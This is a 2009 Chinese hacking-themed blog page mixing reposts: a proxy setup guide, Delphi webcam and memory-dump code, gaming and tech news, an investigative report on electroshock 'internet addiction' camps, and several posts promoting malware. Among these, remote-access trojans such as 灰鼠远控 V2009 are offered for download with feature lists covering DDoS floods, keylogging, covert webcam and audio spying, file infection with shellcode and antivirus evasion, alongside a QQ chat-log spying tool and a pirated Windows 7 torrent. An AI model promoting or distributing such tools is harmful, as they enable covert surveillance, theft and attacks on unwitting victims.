保存退出后重新启动生效。软件的功能都很简单，大家可以自己测试。

设置完成后，启动浏览器配置代理服务器，地址为127.0.0.1端口8000。代理就可以正常时候用了。如果是拨号上网IE代理设置的时候要选择拨号网络链接，然后设置代理，如图12。

否则代理可能无法正常使用。到这里代理设置就完全完成了，如果访问查询IP的网站，看到自己的IP变成美国的就说明配置成功了如图13。

登录管理后台可以查看系统日志等相关信息，如图14.

在这里再提供一个简单的第三方软件来实现上传，无需配置复杂的运行环境。SDUpload，下载程序后直接运行SDUpload update fetchserver就可以了，如图15，（注意app.yaml还是要修改的，其他的环境配置的步骤可以省略了）详细可以参考里面的帮助文件。至此一个稳定高速的代理服务器就完成了。

猛击此处下载相关程序

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

远程控制任我行 V10.5 绿色版该版本拥有正向连接与反弹连接功能

2009-05-25T09:26:00.002+08:00

猛击此处下载
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

灰鼠远控V2009

2009-05-25T09:01:00.004+08:00

灰鼠2009正式版发布!

上线:
【1】控制端与服务端都采用IOCP模型，数据传输采用zlib压缩方式
【2】稳定快速，上线数量无上限，可同时控制上万台主机
【3】控制端自动检测CPU使用率调整自己的工作线程, 稳定高效
【4】心跳包机制防止意外掉线
【5】支持HTTP和DNS上线两种方式

功能:
【1】文件管理仿radmin，支持多选下载，支持断点续传
【2】DDOS攻击 (支持CC攻击、UDP洪水攻击两种模式，可混杂进行攻击，效果强，占用CPU低)
【3】屏幕监控采用隔行扫描算法，可以达到黑洞的效果
【4】键盘记录记录清晰准确
【5】系统管理进程管理，窗口管理
【6】会话管理注销、重启、关机、卸载服务端
【7】视频监控视频采用选择性压缩,强大的H263压缩算法,100:1的压缩率.支持快照功能,智能选择编码器
【8】语音监听采用Gsm 6.10压缩传输
【9】其它功能下载执行指定URL中的程序，隐藏或者显示访问指定网址，清除系统日志
【10】EXE插件下载运行,开机启动(支持多项启动模式)
【11】代理功能支持Ie代理、Sock4、Sock5代理功能
【12】端口映射支持内网控制与入侵，最主要的是集成到服务端里可以穿墙的哟，支持多线程并发
【13】3389开启支持2003与2000系统
【14】完美支持Unicode 可以正常显示世界所有国家语言
【15】添加API搜索引擎绕过杀软对敏感API的查杀
【16】穿透局域网代理
【17】导出公网IP列表可方便使用三方软件进行多重代理
【18】过Kis6、Kis7、江民、瑞星、nod32等主防与杀软
【19】集群控制可同时控制多台主机
【20】感染传播支持exe,dll与其它可执行程序感染模式(采用间隙插shellcode技术,不增加大小,不增加PE头)

附：V2009改进说明
# 改进键盘记录
# 改进感染模式
+添加公网IP获取功能
+添加卸载功能
+进程筛选、窗口筛选功能
+完善窗口管理功能
+DNS欺骗功能
+弹窗提示
+数字签名过卡巴2009主防
+过360最新保护
听雨软件工作
www.evilcoder.cn
猛击此处下载

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

[国内BT]Windows 7 Build 7127 x86 官方简体中文二次封装

2009-05-24T16:48:00.000+08:00

fake.7127.0.090507-1820_x86fre_client_zh-cn_OEM_Ultimate-GRMCULFREO_CN_DVD.iso
SHA1: 2e67550c1ae65679a822d22e221650ef9e8c65fd

内含官方多国语言包
en-us
zh-hk
zh-tw

BT发布页面: http://www.demonoid.com/files/details/1932532/3338624/

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

如此科技胸罩，敦促美女赶紧寻找真爱

2009-05-23T08:27:00.001+08:00

胸罩的科技也是无奇不有，这个日本新推出的黛安芬胸罩可谓之婚姻胸罩，中间有一个倒计时的LED显示灯，如果你想让它停止，只能在心型位置放入一枚结婚戒指，这时候会有费利克斯·门德尔松的《婚礼进行曲》放送给你听，当然，侧边还配有一把笔和一个印章小袋子，敦促你用来签婚约哦，只是不知道会有多少人会戴着这种胸罩，但在日本可能有必要，日本34岁以下日本女子近57%的尚未结婚，这对于那些OL来说是个心灵礼物。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

转载：Delphi摄像头拍照

2009-05-14T12:57:00.001+08:00

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel; //视频区域
Button1: TButton; //开始显示
Button2: TButton; //保存bmp
Button3: TButton; //停止显示
Button4: TButton; //开始摄像
Button5: TButton; //停止摄像
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);

private
hWndC: THandle;
public
{ Public declarations }
end;

var
Form1: TForm1;

const
WM_CAP_START=WM_USER;
WM_CAP_STOP=WM_CAP_START+68;
WM_CAP_DRIVER_CONNECT=WM_CAP_START+10;
WM_CAP_DRIVER_DISCONNECT=WM_CAP_START+11;
WM_CAP_SAVEDIB=WM_CAP_START+25;
WM_CAP_GRAB_FRAME=WM_CAP_START+60;
WM_CAP_SEQUENCE=WM_CAP_START+62;
WM_CAP_FILE_SET_CAPTURE_FILEA=WM_CAP_START+20;
WM_CAP_SEQUENCE_NOFILE=WM_CAP_START+63;
WM_CAP_SET_OVERLAY=WM_CAP_START+51;
WM_CAP_SET_PREVIEW=WM_CAP_START+50;
WM_CAP_SET_CALLBACK_VIDEOSTREAM=WM_CAP_START+6;
WM_CAP_SET_CALLBACK_ERROR=WM_CAP_START+2;
WM_CAP_SET_CALLBACK_STATUSA=WM_CAP_START+3;
WM_CAP_SET_CALLBACK_FRAME=WM_CAP_START+5;
WM_CAP_SET_SCALE=WM_CAP_START+53;
WM_CAP_SET_PREVIEWRATE=WM_CAP_START+52;

function capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint; x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: HWND; nId: integer): HWND; stdcall external 'avicap32.dll';

implementation

{$R *.dfm}

//开始显示视频头内容
procedure TForm1.Button1Click(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA('MyCapWindow', WS_CHILD or WS_VISIBLE, Panel1.Left, Panel1.Top, Panel1.Width, Panel1.Height, Form1.Handle, 0);
if hWndC <> 0 then
begin
SendMessage(hWndC, WM_CAP_SET_CALLBACK_VIDEOSTREAM, 0, 0);
SendMessage(hWndC, WM_CAP_SET_CALLBACK_ERROR, 0, 0);
SendMessage(hWndC, WM_CAP_SET_CALLBACK_STATUSA, 0, 0);
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
SendMessage(hWndC, WM_CAP_SET_SCALE, 1, 0);
SendMessage(hWndC, WM_CAP_SET_PREVIEWRATE, 66, 0);
SendMessage(hWndC, WM_CAP_SET_OVERLAY, 1, 0);
SendMessage(hWndC, WM_CAP_SET_PREVIEW, 1, 0);
end;
end;

//截视频屏并保存为bmp
procedure TForm1.Button2Click(Sender: TObject);
begin
if hWndC <> 0 then
begin
SendMessage(hWndC, WM_CAP_SAVEDIB, 0, longint(PCHAR('c:\test.jpg')));
end;
end;

//停止显示视频头内容
procedure TForm1.Button3Click(Sender: TObject);
begin
if hWndC <> 0 then
begin
// capCaptureAbort(hWndC);
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if hWndC <> 0 then
begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
//开始录像
if hWndC <> 0 then
begin
SendMessage(hWndC,WM_CAP_FILE_SET_CAPTURE_FILEA,0, Longint(pchar('c:\test.avi')));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;

end;

procedure TForm1.Button5Click(Sender: TObject);
begin
//停止录像
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
end;

end;

end.
原文链接：http://hi.baidu.com/vistra/blog/item/90a47582d25360aa0df4d219.html

转载：查看内存数据的函数

2009-05-14T12:56:00.002+08:00

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

{用十六进制查看内存的函数; 参数1是内存起点, 参数2是以字节为单位的长度}
function ToHex(p: PByteArray; bit: Integer): string;
var
i: Integer;
begin
for i := 0 to bit - 1 do
Result := IntToHex(p^[i], 2) + Chr(32) + Result;
Result := TrimRight(Result);
end;

{用二进制查看内存的函数; 参数1是内存起点, 参数2是以字节为单位的长度}
function ToBin(p: PByteArray; bit: Integer): string;
const
Convert: array['0'..'F'] of string = (
'0000', '0001', '0010', '0011', '0100', '0101', '0110', '0111', '1000', '1001',
'', '', '', '', '', '', '', '1010', '1011', '1100', '1101', '1110', '1111');
var
i: Integer;
s: string;
begin
s := ToHex(p, bit);
for i := 1 to Length(s) do
if s[i] <> Chr(32) then
Result := Result + Convert[s[i]]
else
Result := Result + Chr(32);
end;

{测试一}
procedure TForm1.Button1Click(Sender: TObject);
var
num: Integer;
begin
Randomize;
num := Random(MaxInt);
ShowMessage(IntToStr(num) + #10#13#10#13 +
ToHex(@num, 4) + #10#13#10#13 +
ToBin(@num, 4));
end;

{测试二}
procedure TForm1.Button2Click(Sender: TObject);
var
str: string;
begin
str := 'Delphi 2010';
ShowMessage(str + #10#13#10#13 +
ToHex(@str[1], Length(str)*SizeOf(str[1])) + #10#13#10#13 +
ToBin(@str[1], Length(str)*SizeOf(str[1])));
end;

end.

原文链接：http://www.cnblogs.com/del/archive/2009/05/13/1456376.html

异域镇魂曲的粉丝作品

2009-05-14T10:00:00.004+08:00

《异域镇魂曲》（Planescape: Torment）是BlackIsle最好的作品之一，拥有大批狂热分子。现在，粉丝中的佼佼者Rogue Dao制作组在历尽三年的开发后，终于推出了《异域三部曲》（Planescape: Trilogy）之首部曲之demo。《异域三部曲》利用Never Winter2的引擎制作，玩家可在3D化的巢穴、法印城、地域等场景和同伴来一段新的冒险。
可在这里下载。截图见这里。预告片见这里。
游戏介绍：
Well, folks, it's been awhile since we've put out any content previews, and that's because we've just been so busy working on so many different fronts.

Purgatorio is shaping up well:

Scope

- It's weighing in at around 100 areas right now, and will probably top 130 areas when we are finished; easily 15 hours of game time when all is said and done. The areas I am most excited about right now are the ones Jack is producing for Act Two. He's really nailed the Plain of Infinite Portals, imho.

Party Companions

- We've settled in at 18 potential party companions.

Sigil Factions

We've implemented our Sigil Faction system. One of the major choices you will make in the first chapter is which faction your character joins. There are a wide variety of benefits and consequences to joining the factions. You choice of Sigil Faction affects who your enemies and allies are; how potential party companions feel about you; and each faction has different benefits for the character in terms of gear and feats.

Epithet Feats

We've implemented our Epithet Feats system as well. In the screens below you can see some of the feats on the character sheet. We've put in 30 epithet feats so far, and there will probably be a few more down the line.

Some of the feats simply help you define your character in the campaign; others affect your dialogue options; some provide you with benefits; and a few will bring you nothing but trouble.

There is also two or three epithet feats that I would be surprised if anyone unlocks in the first few playthroughs.

The Score

Gopher, Oldbrian, Ceekayed, Minomus and the fifth member of the composing team, Joel, have produced a combined 2 hours of top-notch music that really captures the Planescape vibe.

Custom Content

We're clocking in at around 130 custom placeables right now, the most notable being Schazzwozzer's Gatehouse (which isn't previewed just yet) and MadHatterYU's Mortuary.

I've been doing some work on two custom tilesets (othere is a screen in the gallery of one of them). Michael has been working on a mimir as well, and we're hoping to get that operational in game soon.

We're starting to plan which 4 prestige classes we are going to do, Doomlord is definitely going to be one of them.

Also, of course, credit where credit is due: We're using a few pieces of custom character content from the vault in addition to the stuff we produce. Specifically: custom character heads by Badmagic and LeadderNoir and custom outfits by Alleane, Atlantis001 and Cecil.

Thanks to Adinos and Tazpn for their work on custom content tools. We certainly never could have gotten as far as we have without OBJ2MDB and the 3dsMax MBD Plug-in. Also GrinningFool's toolset plug-ins are truly invaluable.

Voice-Over

Maglok has taken the lead on doing post work on all of our voice-over audio and he is doing an excellent job. He's come up with some very cool effects to apply to some of the more off-beat, weird, evil, etc. voices.

You can view the new screenshots one of three ways, use the links below to open them in a new browser window/tab; go to the Direct Links Screenshots thread right next to this thread in the main forum; go check them out in the gallery. There are 32/34 new screens."
原文链接：http://games.solidot.org/article.pl?sid=09/05/13/1549208&from=rss
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

QQ聊天记录远程查看器

2009-05-14T08:39:00.003+08:00

猛击此处下载！

任意用户名注册即可。
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

女生上课上网语音聊天老师请她改打电话

2009-05-13T18:45:00.000+08:00

近日，一段名为“90后课堂实拍”的视频在网上热传，视频中一名女孩在课堂上用笔记本电脑上网，并且与对方进行视频语音聊天。不少网友在看完视频之后，均称赞该女学生强悍，有网友针对此现象作出评价，称是中国无线网络设备发展和普及迅速的标志。

课堂上公然与网友语音聊天

记者从视频中看到，在一个约30人的课室内，一群学生正聚精会神地听着讲台上的教师讲课。期间，一名坐在第四排、身穿白色上衣深色裤子的女生正使用笔记本电脑上网，并把课本竖起，以遮挡授课老师的视线。记者还看到，该名女生的笔记本电脑上接着耳机和话筒，而在电脑的桌面中就可以看到她正在使用MSN和一名网友进行视频语音聊天。

大约30秒后，该名使用笔记本上网的女生突然走出课室，而视频的拍摄者则指挥坐在他前面的一名男生把插在笔记本电脑上的耳机和麦克风拔掉，之后就听见一名男子的声音从笔记本中传出，并吸引了全班同学和授课老师的注意。“咱不是说好再处一段时间么?”、“你不能跟我说两句话么，有点感情你行吗?”、“你再这样下去我就活不了了，知道吗?”记者隐约听到该男子说。随后，该女生从后门重新进入课室，而授课老师也向该女生说，“看来问题非常严重你还是给他回个电话吧。”

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

内网上线（苹果茶）PcShare/上兴

2009-05-13T16:44:00.004+08:00

录像比较大，这里只是第一部分，配置是没有错误的。第二部分是上兴的苹果茶上线，需要的直接下载录像吧。不上传了，太大了，比较费事。
具体内容就不写了，需要的自己看录像吧。

猛击此处下载录像。
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

Windows Media Center 插件--在线 MTV

2009-05-13T09:01:00.000+08:00

你有没有觉得 Windows 媒体中心里的插件太少了？的确很少。今天要推荐的就是国人自己制作的 Windows Media Center 插件，可以在媒体中心里直接选择并观看网络上的最新上榜MTV哦！本身是为 Windows Vista 制作的，经过破解，可以安装在 Windows 7 中使用。

猛击此处下载

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

九城紧急维护魔兽世界究竟会将魔兽国服领向何方

2009-05-13T08:57:00.002+08:00

2009年5月12日晚消息，《魔兽世界》在华代理运营商第九城市，继今日凌晨1：00 对现有全部服务器进行长达停机时间16 小时例行维护，于下午14时重新开放后，5月12日晚上20点，又再次关闭所有服务器，并且本次《魔兽世界》全服停机是在没有倒计时关闭服务器的情况下，采取的紧急维护。
九城本次紧急维护公告

　　官方随后在论坛和登录服务器上发布了紧急维护公告，但是公告中没有提及任何内容。

　　2009/5/12 19:47:04《魔兽世界》紧急维护公告

　　《魔兽世界》紧急维护公告

　　尊敬的用户：

　　目前《魔兽世界》各个大区正在进行紧急维护，请广大用户耐心等待。

　　我们将在官方网站和论坛更新最新的维护信息，感谢广大用户的支持和理解，谢谢。

　　由于时间正是周二服务器维护更新的高峰期，蜂拥而至的玩家很快就将官方网站和众多论坛挤爆。
　此事和下午的协议时间挤在一起，引爆了玩家情绪，很多玩家更原因对下午的协议门事件进行“不惮以最大的恶意”的解读。各大公会话题都集中在对此事的不满，对数据的担忧，对后续代理关闭服务器时间的忧虑。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

海盗湾创始人发起DDo$攻击

2009-05-12T20:30:00.001+08:00

三周前，瑞典斯德哥尔摩地区法院做出判决，判罚海盗湾的四名管理员监禁一年，赔偿原告3千万瑞典克朗（约合358万美元）。海盗湾创始人声称他们不会支付罚款。现在其中一位创始人Gottfrid Svartholm(aka anakata)提出了叫internet-avgift的妙计去支付罚款。Anakata鼓励所有互联网用户向代表唱片公司的Danowsky法律事务所支付1瑞典克朗（约合0.87人民币）小额罚款，而且用户可以“错误支付”为由让该事务处退款。如此一来Danowsky法律事务所将面临可怕的局面：它不仅拿不到钱，还必须按照规定付费处理所有的小额支付。

该计划被称为分布式拒绝金钱攻击（简称DDo$）。瑞典银行有项规定，银行帐户拥有1000次免费转账机会，之后就必须为每次转账支付2瑞典克朗手续费。因此当互联网用户向其支付1000次之后，Danowsky法律事务所每收到1瑞典克朗，就要额外多付1瑞典克朗。由于Danowsky是家小公司，所有的转账必须人工处理，这家事务所将因此而面临时间和金钱的双重损失。也许能影响该事务所其它案件的成功率。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

文件同步 GoodSync

2009-05-12T11:43:00.002+08:00

猛击此处下载

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

暗访临沂戒网院：电击、强行拘禁和大把钞票，独立的地下社会ZZ

2009-05-11T15:29:00.001+08:00

4月21日，我去了全国最著名的网瘾治疗中心——临沂的“中国网络成瘾戒治中心”，我是以网瘾治疗者的亲戚的身份前去的，简单点说，我说我弟弟得了网瘾，需要治疗，于是该中心允许我先行旁听他们的课程，相当于是考察，以便我最后下决心劝说家人把我可怜的弟弟送进去。我得到了极大的便利去观察这个机构的运转。
然而，去后那些在网瘾治疗中心接受治疗的孩子却让我一直感到心难安。

在我的了解中，他们被强行禁闭、用电休克等非人道的手段进行治疗，甚至在离开戒网院后还心怀忐忑，稍不注意就可能被重新送回去。这些被治疗的孩子是被吓怕了，不是被治好了。而社会舆论却忽视了这个阴暗的角落。一切宣传塑造的是正义的戒网院、饱受困扰的父母，和邪恶的孩子们。

与此同时，网瘾治疗中心还在全国大量出现，主流的媒体在为它们推波助澜。利益链条已经形成。

在这个利益链条上，首先是所谓的专家，有的人本来一辈子不可能成名，在医学上终究要成为一个小人物，但是，突然机会来了，他们发现只要把“网瘾”说成是一种精神病，就能够摇身一变成为这个领域的“专家”一夜成名，成为大人物，于是，网瘾，区别于烟瘾、赌瘾等，被单独列为精神病。这是后续事件产生的基础。

其次，是网瘾少年的家长，归根结底，所谓网瘾只是一种社会和家庭病，由于家长对于儿童的漠视和教育失职，导致儿童寻找替代品，即使没有网络，也会寻找其他的替代方式去发泄，比如赌博、游戏机等，甚至有的人只是因为对父母和应试教育的抵触情绪而采取消极的抵抗措施，但是，只要把网瘾说成是一种精神病，家长失职就得到了掩盖。在我的暗访中，家长是最乐于相信这一点的：原来孩子是得了精神病，怪不得不听话，跟我的教育无关。这样的盲目相信加上媒体的宣传更加恶化，对于我调查的这个网戒中心，家长们对于网戒中心是盲目服从的。

最后，这个利益链条上是那些赚了钱的机构。以临沂网戒中心为例，只需要简单的数学，就能看到它已经从治疗网瘾上获得了几千万，甚至有可能上亿的收入。并且在利益体的驱使下，这种机构还在呈爆炸式的增长。

对于这些利益链条而言，网瘾只不过是他们树立的一个稻草人靶子，通过这个靶子，能够实现多少好处！但这么多的利益链条下的受害者是谁？是那些在心理上留下了阴影的孩子们。缺乏关爱的他们非但没有获得补偿，反而给送到了这样阴森的去处，受到恐惧和洗脑的威胁。

这就是我写这篇文章的初衷。

坦率地说，我是一个悲观主义者，我认为在面对这么多利益群体的时候，一两篇文章根本不可能触动太多，我曾经指望媒体的力量，因为我就处于媒体之中，但最后发现国内的媒体更倾向于处于帮凶的角色，而尽量避免麻烦和质疑精神。

但我也相信行动，只要你看到了，就必须尽全力去说出来，用一切手段去说，别管结果怎样。要相信水滴石穿，但首先要有水。

2008年4月，家住山东潍坊的滕飞被告知父亲得了病，一家人要一起陪父亲去临沂第四人民医院去看病。对于父母，他深信不移。

到了医院，在医院主楼旁边的一栋小楼上，滕飞和母亲在一楼等待，父亲和医院的人上了二楼。滕飞当时并不知道父亲上楼去干什么，只是到了后来才知道，原来父亲签署了一份协议，该协议要求父母自动放弃滕飞几个月的监护权。当年的滕飞只有17岁。

“我们都上楼检查一下。”父亲下楼后对滕飞及母亲说。

迷惑的滕飞上了楼，却发现只剩下母亲的陪伴。事后，他才知道，父亲迅速离开了医院，回到了潍坊：事实是父亲并没有病，被认为有病的是滕飞自己。

实际上，这并非是滕飞特殊的遭遇，来到临沂四院“中国网络成瘾戒治中心”的青少年们被认定得了一种新型的疾病：网瘾。他们的年龄从13岁到30几岁，绝大部分都是被骗来并强迫接受治疗的。

这个全国最著名的治疗网瘾机构（其在院人数目前超过了150人，与之齐名的北京军区总医院网瘾咨询中心目前只有50人左右）坐落在偏僻城市角落，却因网瘾获得了几千万的收入，甚至就连医院周围的旅馆、饭店也因此繁荣。它吸引了全国各地忧心忡忡的父母们前来咨询，或者把孩子们带来接受治疗。一位家长告诉我：“ 除了台湾、香港、澳门和西藏之外，这里收治过其他所有省份的病人。”

而临沂四院的前身有一个更加响亮的名字：临沂市精神病医院。在这里的病人可以被强行限制自由，也可以被接受电疗，这一切都是以治病为名义；病人就是那些刚刚成年，甚至没有成年的孩子们。

愚人船

上船的人都是被迫的。网戒治疗是非法拘禁。几乎每一个机构都在用欺骗的手段。如何认定网瘾患者缺乏科学的规范，导致认定被滥用。

4 月21日，我来到了这个全国文明的机构，这个位于蒙山大道和前十街交界处的治疗中心在当地很有名气，不管是当地饭店还旅馆的老板都对我表示这个戒瘾中心是这里的招牌，出租司机也表示常看到里面的盟友（专有名词，指来临沂治疗网瘾的人，来临沂就被视为加入了戒网瘾同盟）们跑步的情景。

网瘾治疗中心已经占据了临沂四院相当大的空间，除了主楼旁边的一栋四层小楼有三层是供中心使用外，中心主任杨永信的点评课还放在主楼后面的一栋二层小楼上。

此前4月18日，我曾冒充患者家长对该中心进行了电话询问，强调患者已满18岁，且并不想去戒网瘾。该中心人士回答说，只要把患者弄过来，他就走不掉，即使大于18岁也不要紧。

与临沂的网瘾治疗中心齐名的北京军区总医院网瘾咨询中心也认可强制手段。4月20日，在我与之沟通中，该机构人员表示90%以上的“网瘾患者”是被强制来的。并且，这些人年龄差异也很大，不仅有上瘾的未成年人，还包括很多大学生、成年人。

在 4月18日的电话咨询中，临沂治疗中心人士还明确告诉我：为了把病人弄过来，可以骗。至于如何骗，则“一个家长一个样”，在给我推荐方法时她提到了如下几种：告诉患者，给他在临沂的网吧找了个工作，把他骗过来；或者家长先出来两天，宣称在临沂得了病，告诉患者前去探望；全家到临沂旅游；直接给患者吃镇静药；或者，直接找几个人把患者绑过去。

21日在临沂，更是有多位家长向我证实，他们的孩子都是采取类似的手段才来到临沂的。“最极端的是一位家长找了几位警察朋友，开警车把孩子送来的。”

在我询问对于18岁以上人士是否可以强迫时，家长和中心人员均直言不讳表示，采用强制性手段与是否18岁没有什么关系，只要是为了孩子好，强迫是必须的。

为了规避法律责任，各中心往往是采用和家长签署协议，暂时得到盟友的监护权。但是，对于这样的协议是否能够得到认可，以及中心能否得到18岁以上的盟友的监护权，仍然是个问题。

我的一位朋友、律师游云庭认为，至少在法律上，网瘾戒除中心有没有权利限制一个年满18周岁的公民的人身自由，这触及了公民宪法中的权利保障。他把网瘾和强制戒毒做了一个比较，在前几年的《刑事诉讼法》修改中，初稿把强制戒毒和拘留、逮捕等一起列入了在法定的强制措施，但在最终稿中删除了部分内容。“在实践中，此类行为的争议非常大。”游云庭表示。

此外，关于网瘾的界定问题仍然在困扰着法律界，到底谁有权判定一个人具有网瘾？

据我了解，目前的操作是只要家长认定孩子有网瘾，就可以得到网瘾治疗中心的认可，而家长本身是很容易被说服的。由于缺乏权威的国家标准，治疗中心也存在为了招徕客户把判定网瘾标准降低的利益驱动，可能导致界定的滥用。

2008年底，北京军区总医院网瘾咨询中心推出了《网络成瘾诊断标准》，其中规定的标准是每天上网6小时以上，引起了极大地争议。按照这个标准，我也是网络成瘾患者。据我了解，该机构目前的诊断仍然是以此为依据的。

临沂戒治中心也在其网站www.lyjieyin.com（在我的调查部分泄露后，该中心关闭了这个网站）推出了自己的标准测试题，该题目非常不规范，即使都选择最低程度，最后计算出来的结果竟然是44分，结论是“由于因特网的存在，你正越来越频繁地遇到各种各样的问题，你应该认真考虑他们对你生活的全部影响”。也就是说，只要参与做题的人不管怎么选择都会被诱导性地指称有一定的问题。更关键的是，一个号称专业的治疗机构竟然出如此不负责任的测试题，能够证明它的专业吗？

滕飞在当天上午到达了临沂的网瘾戒除中心，他并不相信自己有网瘾，也不想留下，那么上船后的他在后来又发生了什么？

规训

13号室。电击。用治疗精神病的方法治疗网瘾。羞辱式的惩罚。

在我与家长的交谈中，往往无意中提及一个核心问题：为什么都不愿意留下的盟友们最后都同意留下了？

“不出两个小时，他们就会同意的。”一位家长如此斩钉截铁地告诉我。但对于具体的询问则王顾左右而言他。

实际上对于临沂的疗法这并非是秘密，在业界对于它的治疗方法颇有微词。北京军区总医院网瘾咨询中心一位人士告诉我：临沂的核心是电休克治疗。而它附属于精神病院这一点竟然成为了它的优势：“由于是精神病医院，他们有权力使用电休克治疗，而其他机构，比如我们这里是不允许使用的。”（“它们不能使用电休克，但是可以使用电针灸，本质上是一样的。”滕飞告诉我。但我没有得到证实。）

电休克治疗是治疗精神病的一种方法，现在却被该中心主任医师杨永信用到了治疗青少年网瘾上。电休克治疗是把两个电极连接病人两个太阳穴进行电击，杨永信却发明了电手的方法。也就是把两个电极都接在盟友的同一只手上，造成盟友的手部剧痛，但是不影响盟友的心脏等重要器官。电手的痛疼度比电脑部要大得多。

北京军区总医院网瘾咨询中心人士暗示，由于没有经过充分论证，不排除电休克治疗对于非精神病青少年的危险性。

杨永信仅仅告诉家长，电休克疗法并没有危害。

4月21日，我聆听了主任杨永信的一堂点评课，在课上，杨永信多次提及“13号室”，电休克治疗仪就放在这个房间，于是“13号室”在盟友内部就成为了惩戒的代名词。

“网瘾专家”在谈到治疗的时候往往强调爱和关心的重要性，然而，“临沂方式最核心的地方就是电休克治疗。”滕飞告诉我。正是这种惩戒让盟友们产生的恐惧达到了让他们听话的目的。

在滕飞来的当天，父亲走后，吃过午饭的滕飞试图劝说母亲离开，却遭到了院方的阻拦。最后他被告知，可以先做脑电图检查，如果的确没有病就可以离开。于是他走向了那台叫做电休克治疗仪的机器。

“我走过去之后，已经发现有问题了，这不是脑电图。我想跑开，可他们把我按住，推到了机器上。”滕飞表示。

上了治疗仪，滕飞就是再想离开也不可能了。他形容那种感受，“有针在身体里乱窜，无法说出的疼，电手的疼痛是电头的好几倍。”治疗方在轮换着电他的头和手，持续时间在半个小时以上。如果他还表示想走，就会再次接受电击。

“在治疗的时候，家长是不允许在旁边的，不能让他们看到。杨永信告诉家长，由于我们都头脑不清醒，所以用微电流来给我们治疗，让家长以为没有这么疼。如果我们把情况告诉了家长，他就说我们干扰了治疗，继续电。”滕飞告诉我。

在滕飞看来，那些桀骜不驯的孩子不是被说服了，而是被电怕了。从进来的第一天，他们就已经知道，必须呆够4个半月，几乎不可能提前出去。这种绝望的心情比任何的治疗更有效果。他告诉我，在1个多月的时间内他被电击了7次。

一位已出院盟友的妈妈说，她知道孩子是在接受电击，而且很疼。她也知道这样的电击会让孩子感到害怕。但是，她又认为，这样的治疗方法是有效的，能够让孩子听话，从而把“网瘾”纠正过来。

除了电疗之外，还有药物，据家长们介绍，有几种“给脑子补充养分”的药品一直在使用，也包括戒网瘾的中药汤剂。据我了解，药品名称包括安定、顺坦等治疗神经的药品，但没有其他特殊药品。

对于再偏（专有名词，指治疗完毕后仍然再犯网瘾）者，更有饮食方面的惩罚，不准吃肉，只准吃白水煮白菜豆腐，以示和别人的区别。这种区别造成的屈辱往往让盟友们屈服。

广场

宏大的场面本身就是说服力。用集体主义的批判摧毁盟友的自信。一个地下社会的诞生。

然而仅仅靠电疗就算是能够吓服孩子，又如何让他们完全听话？同时让家长服帖？

当我刚来临沂的时候，就被告知应该去听一听杨永信的点评课，这是除了电疗之外的另一个法宝，可以用“宏大的广场”来形容点评课的效果，即，通过宏大场面的做法来感染人们的情绪，达到服从的目的。

点评课是在一个拥有八对大窗的礼堂式大房间内进行的，粗略目测估计，可以坐350人左右。每天上午，在院的所有盟友和家长必须准时到礼堂去听讲师们的点评课。点评课经过了精心的安排，讲师们讲到动情之处，音乐就会响起，每当盟友说话的时候，他的家长就会主动起立。并且还专门谱写了《戒网瘾之歌》，在歌词中对于网瘾现象进行了无情的抨击，并鼓励人们戒网瘾，这歌是必唱的。

在宏大的场面中，任何人的缺点都会被无限放大并且当中公布。任何的不同意见都会被放大和抨击，最后妥协。

每次点评课会针对几个盟友进行点评，特别是刚进来的盟友。所谓的点评，就是把该盟友的一切缺点暴露在所有的盟友和家长面前进行猛烈抨击。“他们是在摧毁孩子的抵抗心和自信心！”一位业内人听了我的叙述后认为。“对于孩子来说，由于此前受过电击，并已经知道出不去了，在大庭广众面前，大部分人在第一次接受羞辱的时候，防御和自信就被摧毁了。”

